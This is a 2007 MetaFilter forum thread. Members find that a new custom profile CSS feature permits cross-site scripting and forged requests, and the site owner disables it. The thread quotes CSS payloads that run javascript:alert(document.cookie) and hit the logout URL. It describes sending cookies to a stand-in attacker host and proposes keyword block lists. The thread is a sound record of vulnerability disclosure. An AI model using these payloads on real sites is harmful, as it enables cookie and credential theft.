Freedom! We're better than Myspace! April 14, 2007 9:43 PM Subscribe
I added a new feature: Custom CSS for profile pages. You simply create a .css file on your own server, write whatever CSS you want, and it will load after all the mefi CSS when anyone views your user page. Here's mine (which loads this). Just plop in the URL of your custom CSS file on your server in your user prefs.
Be sure to post here when you've got something cool to show. Let the ugliness/coolness begin!
why can't we access www.metafilter.com/trash ?
Because there's nothing there. It's just a dumping ground of junk, without a proper index page.
posted by mathowie (staff) at 9:55 PM on April 14, 2007
Because there's nothing there. It's just a dumping ground of junk, without a proper index page.
posted by mathowie (staff) at 9:55 PM on April 14, 2007
Can this be used maliciously? Beyond just making a really ugly user page, that is.
posted by Mr. President Dr. Steve Elvis America at 9:57 PM on April 14, 2007
posted by Mr. President Dr. Steve Elvis America at 9:57 PM on April 14, 2007
i'm going to have fun with this.
posted by puke & cry at 9:57 PM on April 14, 2007
posted by puke & cry at 9:57 PM on April 14, 2007
I talked to our neighborhood leet script kiddie and he couldn't come up with any malicious hacks. Since the CSS loads on your server, it can't run javascript in this domain, so we should be safe, but I'm sure there are some weird bugs and exploits you could do.
I figured it was a way to let people bring back their crazy customized user pages without them having to avoid updating their profile/settings (like ThePinkSuperhero). Just copy your CSS to a file on your server and point to it.
posted by mathowie (staff) at 10:01 PM on April 14, 2007
I figured it was a way to let people bring back their crazy customized user pages without them having to avoid updating their profile/settings (like ThePinkSuperhero). Just copy your CSS to a file on your server and point to it.
posted by mathowie (staff) at 10:01 PM on April 14, 2007
Awesome! Thanks. Not that I think I'll use it. To paraphrase the saying, better to look like you can't design than to add your CSS and remove all doubt.
posted by Firas at 10:03 PM on April 14, 2007
posted by Firas at 10:03 PM on April 14, 2007
I made a little page. Thanks to gator who I copied.
posted by jessamyn (staff) at 10:09 PM on April 14, 2007 [1 favorite]
posted by jessamyn (staff) at 10:09 PM on April 14, 2007 [1 favorite]
omg ceiling cat is watching me masturbate to mathowie's page
posted by dirtynumbangelboy at 10:12 PM on April 14, 2007
posted by dirtynumbangelboy at 10:12 PM on April 14, 2007
Oh hell yeah. Now this is a feature thingy I can get behind.
posted by stavrosthewonderchicken at 10:14 PM on April 14, 2007
posted by stavrosthewonderchicken at 10:14 PM on April 14, 2007
Oh yeah, I forgot to add that if stuff gets out of hand, I'll add "remove customization" buttons like they have on Virb, so you can see people's mefi user pages with the default look.
posted by mathowie (staff) at 10:22 PM on April 14, 2007
posted by mathowie (staff) at 10:22 PM on April 14, 2007
A question: if we use custom css ids and classes in the freeform textbox for our profile, will they be preserved or stripped out (hoping for the former, of course)?
posted by stavrosthewonderchicken at 10:23 PM on April 14, 2007
posted by stavrosthewonderchicken at 10:23 PM on April 14, 2007
Yeah, may we also get some ids on the divs themselves? (eg. create #info, #contribs, #social and put them in #standard or something.)
posted by Firas at 10:33 PM on April 14, 2007
posted by Firas at 10:33 PM on April 14, 2007
Makes me wonder what portion of the membership has access to web server space to store their own css file, and even knows enough about css to make use of this new feature. But this should help silence the people who miss the customized user pages of yore, and maybe help quell the outrage at the loss of the image tag.
posted by Dave Faris at 10:33 PM on April 14, 2007
posted by Dave Faris at 10:33 PM on April 14, 2007
I just realized that I don't have access to my own server anymore. Fuck.
posted by puke & cry at 10:36 PM on April 14, 2007
posted by puke & cry at 10:36 PM on April 14, 2007
stavros, I think any custom classes you add would be stripped. So it's just working with what's on the page already.
posted by mathowie (staff) at 10:43 PM on April 14, 2007
posted by mathowie (staff) at 10:43 PM on April 14, 2007
Matt, may I suggest a URL structure like:
http://www.metafilter.com/user/1/boring
to automatically show a profile without the customization? That way, if we just want to see one person's profile page without customization.
posted by delmoi at 10:45 PM on April 14, 2007
http://www.metafilter.com/user/1/boring
to automatically show a profile without the customization? That way, if we just want to see one person's profile page without customization.
posted by delmoi at 10:45 PM on April 14, 2007
Firas, .usertable is the whole three column thing, and .usercolumns describes each column of the three things. If you want, I can toss a ID on each column.
posted by mathowie (staff) at 10:48 PM on April 14, 2007
posted by mathowie (staff) at 10:48 PM on April 14, 2007
I've added a photo, and stripped out any navigation bars, menus, etc. basically, anything useful or design-smart.
posted by theiconoclast31 at 11:48 PM on April 14, 2007
posted by theiconoclast31 at 11:48 PM on April 14, 2007
Holy crap, that's really clean theiconoclast31.
posted by mathowie (staff) at 11:51 PM on April 14, 2007
posted by mathowie (staff) at 11:51 PM on April 14, 2007
meh, what about custom CSS à la Monkeyfilter for all of Metafilter? One can start with soliciting contributions and limiting options to just the ones vetted.
posted by Gyan at 12:02 AM on April 15, 2007
posted by Gyan at 12:02 AM on April 15, 2007
The CSS, if anyone's interested but please change the photo, ;d
posted by theiconoclast31 at 12:06 AM on April 15, 2007
posted by theiconoclast31 at 12:06 AM on April 15, 2007
Gyan, custom layouts for the site will come later. For now, I'm just re-implementing a feature we used to have, which was the ability to tweak out your profile page ala Myspace. When I blocked random HTML elements that could be used for scripting attacks, everyone's ability to have custom profiles was gone and I know a small number of people never touched their profiles for fear of losing their custom settings (which would be wiped out). This was a safe way of bring stuff back, so it's here.
Eventually, a totally separate feature will be added where people can upload custom CSS to change the design of the sites and others can share those redesigns.
posted by mathowie (staff) at 12:13 AM on April 15, 2007
Eventually, a totally separate feature will be added where people can upload custom CSS to change the design of the sites and others can share those redesigns.
posted by mathowie (staff) at 12:13 AM on April 15, 2007
Holy crap. This is awesome.
posted by spiderskull at 12:55 AM on April 15, 2007
posted by spiderskull at 12:55 AM on April 15, 2007
What prevents someone from adding javascript to the CSS like so:
background-image: url('javascript:alert("foo")');
- substituting something that mucks with the cookie, or even something more nefarious, instead?
posted by aberrant at 12:59 AM on April 15, 2007
background-image: url('javascript:alert("foo")');
- substituting something that mucks with the cookie, or even something more nefarious, instead?
posted by aberrant at 12:59 AM on April 15, 2007
and of course, the semicolon is in the wrong place. Edit as necessary.
posted by aberrant at 1:00 AM on April 15, 2007
posted by aberrant at 1:00 AM on April 15, 2007
The CSS is being loaded from another domain name, so can't access MeFi's cookies.
posted by cillit bang at 1:13 AM on April 15, 2007
posted by cillit bang at 1:13 AM on April 15, 2007
The cookie example was a bad one (it's late), but I'm not entirely convinced that you couldn't get javascript to execute here. My shellbox is down ATM so I can't test but I'll try to do something with it next week.
posted by aberrant at 1:16 AM on April 15, 2007
posted by aberrant at 1:16 AM on April 15, 2007
I like watching this!
posted by Ceiling Cat at 1:46 AM on April 15, 2007 [3 favorites]
posted by Ceiling Cat at 1:46 AM on April 15, 2007 [3 favorites]
...and maybe help quell the outrage at the loss of the image tag.
Never.
posted by knave at 1:51 AM on April 15, 2007
Never.
posted by knave at 1:51 AM on April 15, 2007
...ok, I just tested using
body { background: #3a3a3a url(javascript:alert("foo")) no-repeat ; background-position: 680px 70px; }
and this does execute javascript. Bear with me: what prevents the code from accessing URLs on the local network and sending information (such as the specific error codes, which will indicate the presence or absence of specific types of webservers) back to a malicious site?
posted by aberrant at 1:57 AM on April 15, 2007
body { background: #3a3a3a url(javascript:alert("foo")) no-repeat ; background-position: 680px 70px; }
and this does execute javascript. Bear with me: what prevents the code from accessing URLs on the local network and sending information (such as the specific error codes, which will indicate the presence or absence of specific types of webservers) back to a malicious site?
posted by aberrant at 1:57 AM on April 15, 2007
I made a little page. Thanks to gator who I copied.
Awwwwwww! I'm very flattered.
Now that we've got customization back, I'll need to dispose of that footer that's been plaguing the bottom of my profile this whole time.
Thank you so much, Matt.
posted by Gator at 2:10 AM on April 15, 2007
Awwwwwww! I'm very flattered.
Now that we've got customization back, I'll need to dispose of that footer that's been plaguing the bottom of my profile this whole time.
Thank you so much, Matt.
posted by Gator at 2:10 AM on April 15, 2007
OK, call me crazy, but alert(document.cookie) does work. Just tested. I confess to not thinking very clearly; it's 2:10am, but this warrants further research.
posted by aberrant at 2:10 AM on April 15, 2007
posted by aberrant at 2:10 AM on April 15, 2007
I like this feature but the XHTML is definitely missing some ids.
posted by Foci for Analysis at 2:15 AM on April 15, 2007
posted by Foci for Analysis at 2:15 AM on April 15, 2007
Ok, so I dinked around a bit (css), but the markup isn't particularly convenient. Recommendations:
→ Give the free text div an id (eg #desc or whatever)
→ Put all the content (minus header and footer) in a #content div
→ Give each usercolumn its own id
→ Give the 'nearest users' thing its own id
→ Give the response to the free text question its own <p>
posted by Firas at 2:44 AM on April 15, 2007
→ Give the free text div an id (eg #desc or whatever)
→ Put all the content (minus header and footer) in a #content div
→ Give each usercolumn its own id
→ Give the 'nearest users' thing its own id
→ Give the response to the free text question its own <p>
posted by Firas at 2:44 AM on April 15, 2007
Ace! This should be fun.
Seconding Firas' suggestions on the markup, though.
posted by jack_mo at 3:01 AM on April 15, 2007
Seconding Firas' suggestions on the markup, though.
posted by jack_mo at 3:01 AM on April 15, 2007
Damn, wish I knew CSS or had access to my own server. Still, nice new pony.
posted by who squared at 4:08 AM on April 15, 2007
posted by who squared at 4:08 AM on April 15, 2007
*fires up Xylescope*
posted by armoured-ant at 4:16 AM on April 15, 2007
posted by armoured-ant at 4:16 AM on April 15, 2007
*leaps on aberrant from behind, cups hand over mouth, drives knife between ribs and twists*
posted by quonsar at 4:20 AM on April 15, 2007
posted by quonsar at 4:20 AM on April 15, 2007
Also, there's a few bits of markup on this here userpage that aren't as semantic (or valid) as they could be. Like, plenty of lists that should be marked up as lists. Just sayin'.
posted by armoured-ant at 5:11 AM on April 15, 2007
posted by armoured-ant at 5:11 AM on April 15, 2007
Yay! I borrowed from theiconoclast31! :)
posted by heatherann at 6:30 AM on April 15, 2007
posted by heatherann at 6:30 AM on April 15, 2007
You don't need a server if you have a gmail account. Just load it onto your googlepages.
posted by i_am_a_Jedi at 6:31 AM on April 15, 2007 [1 favorite]
posted by i_am_a_Jedi at 6:31 AM on April 15, 2007 [1 favorite]
It'd also be better if we weren't using the HTML 4.o Transitional doctype...
/bitch
posted by armoured-ant at 6:41 AM on April 15, 2007
/bitch
posted by armoured-ant at 6:41 AM on April 15, 2007
Great new feature! I'm probably the world's worst CSS guy (I probably shouldn't be allowed within a hundred yards of CSS due to past crimes against that language), but hey, I can never resist modifying a userpage when given the opportunity.
Thanks to theiconoclast31 who got my ball rolling, as it were.
posted by soundofsuburbia at 6:49 AM on April 15, 2007
Thanks to theiconoclast31 who got my ball rolling, as it were.
posted by soundofsuburbia at 6:49 AM on April 15, 2007
If you need some hosting or/and if you're too damn paranoid to host it on your own server, get yourself a free hosting account on fsphost.com.
posted by Foci for Analysis at 7:13 AM on April 15, 2007
posted by Foci for Analysis at 7:13 AM on April 15, 2007
What's this CSS of which you speak?
(Hey! You kids! Get off my lawn!!!)
posted by nevercalm at 7:36 AM on April 15, 2007
(Hey! You kids! Get off my lawn!!!)
posted by nevercalm at 7:36 AM on April 15, 2007
aberrant, I can't get javascript in CSS to do anything in Firefox, which is precisely the tests I did before I made it public. What browser are you actually getting alerts to run in?
posted by mathowie (staff) at 7:42 AM on April 15, 2007
posted by mathowie (staff) at 7:42 AM on April 15, 2007
I would like it if you enabled "remove customizations" as a preference, Matt.
I like me my uniformity.
posted by Kwine at 7:44 AM on April 15, 2007
I like me my uniformity.
posted by Kwine at 7:44 AM on April 15, 2007
Sigh. I remember in 1995 telling myself, I really should learn HTML and web programming. And here 12 years later, I still don't know more than half a dozen tags and nothing about CSS or Javascript. I'm like a real professional programmer and all, you'd think that I could wrap my head around this stuff.
posted by octothorpe at 7:59 AM on April 15, 2007
posted by octothorpe at 7:59 AM on April 15, 2007
Matt: If this effectively defeats XSS attacks, does this mean we can get images back? The user can enter this in the comment field:
<img src="http://www.example.com/foo.jpg">
And the server can parse it as this:
<img src="invisible.gif" style="width:fooWidth; height:fooHeight; background:url('http://www.example.com/foo.jpg');">
fwiw, aberrant's test doesn't work in Safari.
posted by ardgedee at 8:04 AM on April 15, 2007
<img src="http://www.example.com/foo.jpg">
And the server can parse it as this:
<img src="invisible.gif" style="width:fooWidth; height:fooHeight; background:url('http://www.example.com/foo.jpg');">
fwiw, aberrant's test doesn't work in Safari.
posted by ardgedee at 8:04 AM on April 15, 2007
Oooh no! Something else to encourage procrastination instead of doing my translations...
... er I meant wow! Great feature! Thanks Matt!
posted by ClarissaWAM at 8:07 AM on April 15, 2007
... er I meant wow! Great feature! Thanks Matt!
posted by ClarissaWAM at 8:07 AM on April 15, 2007
aberrant, I can't get javascript in CSS to do anything in Firefox, which is precisely the tests I did before I made it public. What browser are you actually getting alerts to run in?
I got a "blocked content" message in IE7, so I'd assume the JS would fire in IE5 and earlier versions of IE6.
It won't fire in Firefox 2 at all; not even a message about it. Ditto Opera 9.2.
Peter-Paul Koch says that it works in Windows IE and Opera. But it looks like things have changed since then (c.f. the IE7 comment). There's no non-malicious reason to have JS in your stylesheet, anyway, so it's odd this still pops up a warning in IE7.
posted by dw at 9:10 AM on April 15, 2007
I got a "blocked content" message in IE7, so I'd assume the JS would fire in IE5 and earlier versions of IE6.
It won't fire in Firefox 2 at all; not even a message about it. Ditto Opera 9.2.
Peter-Paul Koch says that it works in Windows IE and Opera. But it looks like things have changed since then (c.f. the IE7 comment). There's no non-malicious reason to have JS in your stylesheet, anyway, so it's odd this still pops up a warning in IE7.
posted by dw at 9:10 AM on April 15, 2007
But it looks like things have changed since then
"since then" meaning "since PPK wrote this three years ago." Oops.
posted by dw at 9:11 AM on April 15, 2007
"since then" meaning "since PPK wrote this three years ago." Oops.
posted by dw at 9:11 AM on April 15, 2007
Here's a temporary recent updates list of users with CSS. Foci's profile is pretty sweet looking.
Firas, I'll implement those suggested CSS changes today so you can style stuff more specifically.
posted by mathowie (staff) at 9:18 AM on April 15, 2007
Firas, I'll implement those suggested CSS changes today so you can style stuff more specifically.
posted by mathowie (staff) at 9:18 AM on April 15, 2007
The javascript works against IE6, does not work against FF. Haven't tried against safari/opera.
I have a proof of concept but the margins of this textbox are too narrow for me to list it here.
posted by aberrant at 9:21 AM on April 15, 2007 [1 favorite]
I have a proof of concept but the margins of this textbox are too narrow for me to list it here.
posted by aberrant at 9:21 AM on April 15, 2007 [1 favorite]
I'll leave the POC up on my user profile for a little while. If you want to check it, just view my profile and see if you get a popup containing your cookie (username, password, other stuff). If so, please report version of browser and that it worked. If not, please do the same, but indicate that it didnt.
posted by aberrant at 9:26 AM on April 15, 2007
posted by aberrant at 9:26 AM on April 15, 2007
Oh my God.
chrismear wins.
I was gonna try to make a really cool profile... but... damn, man.
posted by armoured-ant at 9:29 AM on April 15, 2007
chrismear wins.
I was gonna try to make a really cool profile... but... damn, man.
posted by armoured-ant at 9:29 AM on April 15, 2007
aberrant's hackery worked on IE7 (WinXP), and failed on Firefox (2.0.0.3).
Firefox's Javascript console produces an error relating to the "
Specifically:
Firefox's Javascript console produces an error relating to the "
background: url(javascript:alert(document.cookie))" line in your css.Specifically:
Warning: Expected end of value for property but found ')'. Error in parsing value for property 'background'. Declaration dropped.
Source File: http://vallejo.cryptonym.net/~s1b7/doit.css
Line: 2Awesome, chrismear. Bravo.
posted by synaesthetichaze at 9:35 AM on April 15, 2007
posted by synaesthetichaze at 9:35 AM on April 15, 2007
# “If this effectively defeats XSS attacks…”
It doesn’t. The vulnerability of using an URI which the browser thinks should be an image, but which is in fact a GET request of an operation which can change the state of something on the server is still there. (I haven’t verified this, but I remember that the reason images were disabled had something to do with someone creating an <img> with the href pointing to an URI which marks a post as a favorite. This technique should still work, even with external style sheets.)
posted by ijoshua at 9:36 AM on April 15, 2007
It doesn’t. The vulnerability of using an URI which the browser thinks should be an image, but which is in fact a GET request of an operation which can change the state of something on the server is still there. (I haven’t verified this, but I remember that the reason images were disabled had something to do with someone creating an <img> with the href pointing to an URI which marks a post as a favorite. This technique should still work, even with external style sheets.)
posted by ijoshua at 9:36 AM on April 15, 2007
Olli's profile contains an exploit that works on Firefox (2.0.0.3).
It shows all my Metafilter cookies in a grey box beneath the "What's the deal with your nickname" bit. Obviously this is bad.
The css.
posted by Aloysius Bear at 9:38 AM on April 15, 2007
It shows all my Metafilter cookies in a grey box beneath the "What's the deal with your nickname" bit. Obviously this is bad.
The css.
posted by Aloysius Bear at 9:38 AM on April 15, 2007
ijoshua, I believe Matt fixed that aspect of it by making actions work by POST rather than GET. In particular, favoriting is now done by AJAX (presumably using POST) rather just hitting a URI.
posted by Aloysius Bear at 9:40 AM on April 15, 2007
posted by Aloysius Bear at 9:40 AM on April 15, 2007
Ok, so exploit-wise, how would someone get your cookie details on their server? If someone can't get your cookie values in a broken browser to pass along to another server, it's not a problem.
Would they load an image with a variable set to the cookie value, which they can fetch from their logs?
If so, would moving to storage of styles here within your profile work better if I simply blocked the word "javascript" from any stored CSS profile here?
Can anyone think of an exploit involving CSS stored locally here that I couldn't easily defeat with some simple regex rules?
If there are indeed some exploits that can't be solved, I'll take the custom profiles down today, but I'd really like to figure out a way to make this work.
posted by mathowie (staff) at 9:42 AM on April 15, 2007
Would they load an image with a variable set to the cookie value, which they can fetch from their logs?
If so, would moving to storage of styles here within your profile work better if I simply blocked the word "javascript" from any stored CSS profile here?
Can anyone think of an exploit involving CSS stored locally here that I couldn't easily defeat with some simple regex rules?
If there are indeed some exploits that can't be solved, I'll take the custom profiles down today, but I'd really like to figure out a way to make this work.
posted by mathowie (staff) at 9:42 AM on April 15, 2007
Aloysius Bear, the problem isn’t just with MeFi. Literally thousands of other sites on the Internet have incorrectly used GET instead of POST. Additionally, the "Log out" link on the bottom of the page is a GET, which changes the state of your session by deleting your cookie. The custom CSS in my profile exploits this as an example, but the background-image url could point to any other site.
posted by ijoshua at 9:43 AM on April 15, 2007
posted by ijoshua at 9:43 AM on April 15, 2007
Matt: if I can display the cookie, then I can include elements of the cookie, such as username and pw hash, in a GET request to my server. My webserver logs now have that info which I can use to create my own cookies with that information to impersonate the victim. This is just one way I can think of to steal credentials, never mind exploiting 0-day browser or javascript exploits.
Another cool trick is to download javascript that forces the browser to fingerprint devices on its network - this can be used to map internal networks. I've seen it done; Jeremiah Grossman presented this attack at RSA.
posted by aberrant at 9:46 AM on April 15, 2007
Another cool trick is to download javascript that forces the browser to fingerprint devices on its network - this can be used to map internal networks. I've seen it done; Jeremiah Grossman presented this attack at RSA.
posted by aberrant at 9:46 AM on April 15, 2007
mathowie, any feature which allows the user to specify an URI that will be loaded automatically by the browser, as in an <img>, <object>, or CSS background-image or list-style-image, can be exploited.
posted by ijoshua at 9:47 AM on April 15, 2007
posted by ijoshua at 9:47 AM on April 15, 2007
Ha! chrismear - that is fantastic.
On a more boring note - I'm sure it's my Google 'n' cut 'n' paste approach to CSS that's to blame, but why do things that look okay in Firefox and Safari look so wildly different in Opera?
posted by jack_mo at 9:47 AM on April 15, 2007
On a more boring note - I'm sure it's my Google 'n' cut 'n' paste approach to CSS that's to blame, but why do things that look okay in Firefox and Safari look so wildly different in Opera?
posted by jack_mo at 9:47 AM on April 15, 2007
If you decide to leave this up for whatever reason, PLEASE allow those of us who don't care about CSS to disable it globally. Thanks.
posted by aberrant at 9:49 AM on April 15, 2007
posted by aberrant at 9:49 AM on April 15, 2007
For future reference, since this feature probably won’t last long, this is the entire contents of my custom css:
posted by ijoshua at 9:49 AM on April 15, 2007
body {
background-image: url("http://www.metafilter.com/index.cfm?delcookie=yes");
}
posted by ijoshua at 9:49 AM on April 15, 2007
Ok, so exploit-wise, how would someone get your cookie details on their server?
You're right, matt. Look at Olli's profileusing Firefox or Internet Explorer. He gets the green cookie text onto the page by calling some external javascript in the css. This JS could do anything, like create an image with a GET parameter of the cookie text, thus getting your cookie data into the logs of the remote server hosting the image.
As far as I can tell, locally hosting the css and banning anything with a "javascript" in it would be a good idea.
posted by Aloysius Bear at 9:49 AM on April 15, 2007
You're right, matt. Look at Olli's profileusing Firefox or Internet Explorer. He gets the green cookie text onto the page by calling some external javascript in the css. This JS could do anything, like create an image with a GET parameter of the cookie text, thus getting your cookie data into the logs of the remote server hosting the image.
As far as I can tell, locally hosting the css and banning anything with a "javascript" in it would be a good idea.
posted by Aloysius Bear at 9:49 AM on April 15, 2007
Ok fine, even though it's a pretty fun feature, I guess I'll be disabling it.
After seeing Olli's hack, there's no way I can route around that, since people would have to be able to call external URLs in their styelsheets and you could just masquerade even a simple .gif on your server as that exploit. Any sort of exploit filtering I did on background images could still be executed.
It's sad, I really love chrismear's profile. Oh well.
posted by mathowie (staff) at 9:55 AM on April 15, 2007
After seeing Olli's hack, there's no way I can route around that, since people would have to be able to call external URLs in their styelsheets and you could just masquerade even a simple .gif on your server as that exploit. Any sort of exploit filtering I did on background images could still be executed.
It's sad, I really love chrismear's profile. Oh well.
posted by mathowie (staff) at 9:55 AM on April 15, 2007
If you're concerned about people exploiting other sites' weaknesses, for example by making their profile's background-image load
posted by Aloysius Bear at 9:57 AM on April 15, 2007
mybank.com/dosomethingbad.cfm?confirmed=true, then you'd have to block "url(···)" from the CSS as well.posted by Aloysius Bear at 9:57 AM on April 15, 2007
Ok, it's dead now. I could see how using Olli's demo, I could get someone's entire cookie details for any site that allows images pretty easily.
Sucks. Stupid fucking browsers.
posted by mathowie (staff) at 9:58 AM on April 15, 2007 [1 favorite]
Sucks. Stupid fucking browsers.
posted by mathowie (staff) at 9:58 AM on April 15, 2007 [1 favorite]
Ok fine, even though it's a pretty fun feature, I guess I'll be disabling it.
You could still allow local CSS safely (I think) by regexing out "javascript", "behavior:" and "url(" and "-moz-binding:" (and perhaps a couple of others).
This would have the downside of meaning people couldn't put any images on their profile. But all CSS's other magic would still be available.
posted by Aloysius Bear at 10:00 AM on April 15, 2007
You could still allow local CSS safely (I think) by regexing out "javascript", "behavior:" and "url(" and "-moz-binding:" (and perhaps a couple of others).
This would have the downside of meaning people couldn't put any images on their profile. But all CSS's other magic would still be available.
posted by Aloysius Bear at 10:00 AM on April 15, 2007
I guess I'll be disabling it.
The 45 minutes of fun spent hacking some stuff up suddenly goes bye bye as I'm previewing it.
Yeah. thanks.
posted by Brandon Blatcher at 10:01 AM on April 15, 2007
The 45 minutes of fun spent hacking some stuff up suddenly goes bye bye as I'm previewing it.
Yeah. thanks.
posted by Brandon Blatcher at 10:01 AM on April 15, 2007
NOOOOOOOOOOOOOOOOOO!! </vader>
posted by monju_bosatsu at 10:01 AM on April 15, 2007
posted by monju_bosatsu at 10:01 AM on April 15, 2007
Sorry, Matt - but thanks for trying to add some cool functionality, and thanks for realizing how big a risk this was.
posted by aberrant at 10:02 AM on April 15, 2007
posted by aberrant at 10:02 AM on April 15, 2007
Well, this at least explains why I was clicking around madly on all the examples above w/out seeing a damn thing. (Next time I'll skip to the bottom first).
posted by veggieboy at 10:04 AM on April 15, 2007
posted by veggieboy at 10:04 AM on April 15, 2007
If so, would moving to storage of styles here within your profile work better if I simply blocked the word "javascript" from any stored CSS profile here?
That will get some of it, but the greater problem is Olli's exploit using an externally hosted script. I'm a little unclear how you could exploit that data without some huge script pulling that cookie and pushing it to a DB.
And honestly, I'm a little baffled why this hole hasn't been exploited more if it's that significant. It's been there for a while. Why haven't we seen a malicious attack via CSS? Why hasn't anyone complained before at the hole (even with Peter-Paul Koch demonstrating it at least three years ago?)
If there are indeed some exploits that can't be solved, I'll take the custom profiles down today, but I'd really like to figure out a way to make this work.
I'd block anything in the url attribute that wasn't a jpg/gif/png file. That should do it. Also, block @import -- no one even uses NN4 anymore and you should be able to put it all on one stylesheet.
posted by dw at 10:04 AM on April 15, 2007
That will get some of it, but the greater problem is Olli's exploit using an externally hosted script. I'm a little unclear how you could exploit that data without some huge script pulling that cookie and pushing it to a DB.
And honestly, I'm a little baffled why this hole hasn't been exploited more if it's that significant. It's been there for a while. Why haven't we seen a malicious attack via CSS? Why hasn't anyone complained before at the hole (even with Peter-Paul Koch demonstrating it at least three years ago?)
If there are indeed some exploits that can't be solved, I'll take the custom profiles down today, but I'd really like to figure out a way to make this work.
I'd block anything in the url attribute that wasn't a jpg/gif/png file. That should do it. Also, block @import -- no one even uses NN4 anymore and you should be able to put it all on one stylesheet.
posted by dw at 10:04 AM on April 15, 2007
You could still allow local CSS safely (I think) by regexing out "javascript", "behavior:" and "url(" and "-moz-binding:" (and perhaps a couple of others).
If you reg out url, you reg out all background images.
posted by dw at 10:05 AM on April 15, 2007
If you reg out url, you reg out all background images.
posted by dw at 10:05 AM on April 15, 2007
You could still allow local CSS safely (I think) by regexing out "javascript", "behavior:" and "url(" and "-moz-binding:" (and perhaps a couple of others).
Well, if I don't allow external objects like "url" then it's just a glorified color picker for your profile, and I might as well make a simple version of that that doesn't use CSS, but then that wouldn't be very fun to use.
posted by mathowie (staff) at 10:07 AM on April 15, 2007
Well, if I don't allow external objects like "url" then it's just a glorified color picker for your profile, and I might as well make a simple version of that that doesn't use CSS, but then that wouldn't be very fun to use.
posted by mathowie (staff) at 10:07 AM on April 15, 2007
Well this is sad.
It should probably come out of the sidebar.
posted by Partial Law at 10:08 AM on April 15, 2007
It should probably come out of the sidebar.
posted by Partial Law at 10:08 AM on April 15, 2007
Also, presumably this doesn't change the plan for site-wide personal CSS? Since those would be set only by the user, for the user?
posted by Partial Law at 10:10 AM on April 15, 2007
posted by Partial Law at 10:10 AM on April 15, 2007
# “I'd block anything in the url attribute that wasn't a jpg/gif/png file.”
That’s more difficult that it seems. You’d have to actually request at least the HEAD of the target URI to be sure that the Content-type header in the response is one of those image types. Even still, it may be possible to return a proper Content-type, and then redirect to another URI that actually performs the malicious action.
This exploit is not a browser bug. It is a software failure, but on the part of the developers of the web applications who’ve incorrectly allowed GET requests make changes in the state of the application.
posted by ijoshua at 10:10 AM on April 15, 2007 [1 favorite]
That’s more difficult that it seems. You’d have to actually request at least the HEAD of the target URI to be sure that the Content-type header in the response is one of those image types. Even still, it may be possible to return a proper Content-type, and then redirect to another URI that actually performs the malicious action.
This exploit is not a browser bug. It is a software failure, but on the part of the developers of the web applications who’ve incorrectly allowed GET requests make changes in the state of the application.
posted by ijoshua at 10:10 AM on April 15, 2007 [1 favorite]
Yeah, but dw, you could simply make .gif execute as html on your server, then plop the contents of the bugzilla exploit as your server's "foo.gif" fake image.
All you have to do then is figure out a way to pass the results that print out on the page to another image reference you could fetch in your logs (which seems possible and easy enough, no?).
posted by mathowie (staff) at 10:11 AM on April 15, 2007
All you have to do then is figure out a way to pass the results that print out on the page to another image reference you could fetch in your logs (which seems possible and easy enough, no?).
posted by mathowie (staff) at 10:11 AM on April 15, 2007
Well, if I don't allow external objects like "url" then it's just a glorified color picker for your profile, and I might as well make a simple version of that that doesn't use CSS, but then that wouldn't be very fun to use.
Then don't go that far. Block "javascript", "behavior:", "-moz-binding:", and "@import". Then you just need a regex that looks for url( and the final ), then checks the extension on the file to see if it's jpg, jpeg, gif, or png. If it's not, block the page.
posted by dw at 10:12 AM on April 15, 2007
Then don't go that far. Block "javascript", "behavior:", "-moz-binding:", and "@import". Then you just need a regex that looks for url( and the final ), then checks the extension on the file to see if it's jpg, jpeg, gif, or png. If it's not, block the page.
posted by dw at 10:12 AM on April 15, 2007
Yeah, but dw, you could simply make .gif execute as html on your server, then plop the contents of the bugzilla exploit as your server's "foo.gif" fake image.
No, this is wrong.
Olli's clever hack relies on the "behaviour:" CSS property to work in IE, and the "-moz-binding:" property to work in Firefox. You defintely need to block these.
I wonder if it would actually be OK to allow "url(" and hence allow background images. You must change the logout link to be a POST form rather than a GET delcookie=true link though.
posted by Aloysius Bear at 10:15 AM on April 15, 2007
No, this is wrong.
Olli's clever hack relies on the "behaviour:" CSS property to work in IE, and the "-moz-binding:" property to work in Firefox. You defintely need to block these.
I wonder if it would actually be OK to allow "url(" and hence allow background images. You must change the logout link to be a POST form rather than a GET delcookie=true link though.
posted by Aloysius Bear at 10:15 AM on April 15, 2007
Actually, now that I think about it, I thought it was easy to pass exploit values to another server, but now I'm not so sure (which would mean I could re-enable this feature).
How would you pass the results of Olli's exploit to your own server? You can't get set a background url of http://your_server.com/foo.gif?usercookies=(contents of Olli's exploits) without scripting, but then I'm not sure what the limits of CSS2 or CSS3 are at this point.
posted by mathowie (staff) at 10:15 AM on April 15, 2007
How would you pass the results of Olli's exploit to your own server? You can't get set a background url of http://your_server.com/foo.gif?usercookies=(contents of Olli's exploits) without scripting, but then I'm not sure what the limits of CSS2 or CSS3 are at this point.
posted by mathowie (staff) at 10:15 AM on April 15, 2007
dw: Matt would be chasing his tail as edge cases kept coming to light. Any protection system that relies on blacklists (as opposed to whitelists) is less efficient - some, myself included, would even consider it flawed.
posted by aberrant at 10:15 AM on April 15, 2007
posted by aberrant at 10:15 AM on April 15, 2007
Matt: why couldn't you do that, or url(http://username.pwhash.your_server.com/background.gif) ?
posted by aberrant at 10:17 AM on April 15, 2007
posted by aberrant at 10:17 AM on April 15, 2007
Also, here's a screenshot of chrismear's profile, for those that missed it. It's a thing of beauty.
posted by mathowie (staff) at 10:18 AM on April 15, 2007
posted by mathowie (staff) at 10:18 AM on April 15, 2007
aberrant, how would that work exactly? How on earth could you, in a CSS file, pass anything along as a variable elsewhere in the file?
I understand how Olli's exploit grabs your cookie details and displays them back to the user that owns the cookie. But where and how could it ever push the results to another server?
posted by mathowie (staff) at 10:21 AM on April 15, 2007
I understand how Olli's exploit grabs your cookie details and displays them back to the user that owns the cookie. But where and how could it ever push the results to another server?
posted by mathowie (staff) at 10:21 AM on April 15, 2007
fix work? what do you mean?
I thought customization was removed to fix some sort of XSS vulnerability. I assumed the reason the stylesheets came back was because it was fixed.
/confused
posted by delmoi at 10:25 AM on April 15, 2007
I thought customization was removed to fix some sort of XSS vulnerability. I assumed the reason the stylesheets came back was because it was fixed.
/confused
posted by delmoi at 10:25 AM on April 15, 2007
mathowie: are we still talking about the ability to use javascript, or are you assuming you can disable it somehow? If javascript is still allowed, it's trivial, right?
posted by aberrant at 10:27 AM on April 15, 2007
posted by aberrant at 10:27 AM on April 15, 2007
